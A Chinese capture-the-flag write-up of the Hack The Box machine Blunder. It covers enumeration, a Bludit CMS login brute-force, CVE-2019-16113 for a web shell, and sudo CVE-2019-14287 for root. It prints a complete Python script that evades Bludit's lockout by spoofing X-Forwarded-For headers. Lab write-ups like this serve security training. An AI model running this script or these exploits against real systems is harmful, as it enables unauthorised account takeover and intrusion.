Hack The Box——Blunder

目录

简介

信息收集

漏洞发现

暴力破解

CVE-2019-16113

漏洞利用

权限提升

凭据发现

CVE-2019-14287

总结


简介

靶机虽然不难,但是花费的时间不少。通过搜索可以发现Bludit CMS的已知漏洞,但是要利用该漏洞就需要登录到后台,因此需要枚举用户名和密码。通过todo.txt文件中的的信息猜测到用户名,然后爆破破解获得密码,接着利用CVE-2019-16113获得WebShell,然后通过枚举本地文件发现存储在php文件中的用户hugo的密码Hash值,通过解密获得用户hugo的密码。从而获得该用户的Shell,最后利用CVE-2019-14287提升至root权限。

信息收集

使用nmap快速扫描目标主机端口和服务,目标主机仅开启了80端口,运行这Apache httpd 2.4.41,操作系统为Ubuntu,内核可能为2.6.32,如图:

然后访问80端口web服务,发现是作者记录的一些文章,如图:

随手输入admin发现页面跳转到登录页面,如图:

测试发现不存在常用弱口令和SQL注入漏洞,使用Google搜索BLUDIT发现此CSM系统存在已知漏洞,如目录遍历图像文件上传(CVE-2019-16113)和暴力破解绕过。目录遍历图像上传漏洞需要拥有用户名和密码才能利用。查看网页源码发现版本号,如图:

通过Google搜索到Bludit暴力破解绕过的博客,当然也可以根据原理自行编写脚本(部分代码没进行异常处理):

#!/usr/bin/python3
import requests
import argparse
import random

#define parm
parser=argparse.ArgumentParser()
group=parser.add_mutually_exclusive_group()
parser.add_argument('-H','--host',help='target hostname or ip address',type=str)
parser.add_argument('-p','--port',help='target port,default 80',default=80,type=int)
group.add_argument('-u','--username',help='Bludit CMS username',type=str)
group.add_argument('-U','--userfile',help='Bludit CMS username list file',type=str)
parser.add_argument('-P','--password',help='password dictionary file',type=str)
args=parser.parse_args()

if args.host:
    url='http://'+args.host.strip()+'/admin/login'
    if args.password:
        if args.username:
            username=args.username.strip()
            s=requests.session()

            with open(args.password) as f:
                password=f.readline()
                password=password.strip()
                while password:
                    try:
                        r=s.get(url)
                    except KeyboardInterrupt:
                        break
                    except:
                        print('Could not connect to '+args.host+'!')

                    token=r.text
                    token=token.split('tokenCSRF')
                    token=token[2][9:49]

                    random_ip=str(random.randint(0,255))+'.'+str(random.randint(0,255))+'.'+str(random.randint(0,255))+'.'+str(random.randint(0,255))
                    head={'X-Forwarded-For':random_ip,'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'}
                    data={'tokenCSRF':token,'username':username,'password':password}
                    print('[*] Testing: Username [',username,'] and Password [',password,']')
                    r=s.post(url,headers=head,data=data,allow_redirects=False)
                    try:
                        success=r.headers['Location']
                    except:
                        success=''
                    if success == '/admin/dashboard':
                        print("\033[1;32;1m[+] Success! Username:",username,'Password:',password,"\033[0m")
                        break
                    password=f.readline()
                    password=password.strip()

        elif args.userfile:
            try:
                userfile=open(args.userfile.strip(),'r').read()
            except FileNotFoundError:
                print("Please give me a vilid file!")

            s=requests.session()
            for username in userfile.split():
                with open(args.password) as f:
                    password=f.readline()
                    password=password.strip()
                    while password:
                        try:
                            r=s.get(url)
                        except:
                            print('Could not connect to '+args.host+'!')

                        token=r.text
                        try:
                            token=token.split('tokenCSRF')
                            token=token[2][9:49]
                        except:
                            pass

                        random_ip=str(random.randint(0,255))+'.'+str(random.randint(0,255))+'.'+str(random.randint(0,255))+'.'+str(random.randint(0,255))
                        head={'X-Forwarded-For':random_ip,'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'}
                        data={'tokenCSRF':token,'username':username,'password':password}
                        print('[*] Testing: Username [',username,'] and Password [',password,']')
                        r=s.post(url,headers=head,data=data,allow_redirects=False)
                        try:
                            success=r.headers['Location']
                        except KeyboardInterrupt:
                            exit()
                        except:
                            success=''
                        if success == '/admin/dashboard':
                            print("\033[1;32;1m[+] Success! Username:",username,'Password:',password,"\033[0m")
                            exit()
                        password=f.readline()
                        password=password.strip()
        else:
            print("You must give -u or -U,and just only one!")

    else:
        print("Please give me a password file")
else:
    print("Please enter the -h parameter for detailed usage.")

将admin、bludit、blunder和首页出现的人名保存为用户字典文件,然后使用cewl -m 4 http://10.10.10.191 -w passwd.txt将首页的单词提权为密码字典文件,但是没获得登录凭据,尝试使用rockyou字典,也未破解成功。使用dirbuster扫描目录扫着扫着程序崩溃了,如图:

然后使用wfuzz继续扫描bak,txt,sql,zip等文件,发现存在todo.txt,如图:

然后查看todo.txt,发现可能为用户名的单词,如图:

漏洞发现

暴力破解

然后使用网站提取的字典passwd.txt暴力破解发现密码,如图:

使用该用户名和密码登录系统,如图:

CVE-2019-16113

使用Exploit-DB提供的漏洞利用代码测试是否存在CVE-2019-16113,如图:

在本地监听的端口获得HTTP请求,如图:

说明目标主机存在该漏洞。

漏洞利用

构造反弹shell的payload,如图:

成功获得WebShell,如图:

权限提升

查看/etc/passwd文件发现三个普通用户,如图:

进入查看/home目录未发现temp的用户目录,如图:

凭据发现

查看上级目录,在databases目录下发现php文件,在users.php文件中发现管理员用户Admin和fergus用户的Hash值和盐值,如图:

使用hash-identifier查看Hash类型,如图:

使用john和hashes.com均未破解成功,在/var/www目录下发现另一个版本的bludit,如图:

查看databases目录下的users.php文件中发现管理员用户Hugo的密码Hash值,如图:

使用john未破解成功,但使用hashes.com破解成功,如图:

尝试使用该密码登录到hugo用户的Shell,如图:

CVE-2019-14287

使用提权辅助lse.sh发现sudo命令可执行的程序,如图:

使用Google搜索发现可以利用CVE-2019-14287,如图:

成功获得root权限。

总结

该靶机用到的枚举较多,所以花费的时间较长。在扫描网站目录和文件时发现dirbuster容易崩溃,wfuzz貌似更好用些。在破解Bludit登录用户名和密码是花时间最多的,在此之后就一帆风顺了,Google都能找得到。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值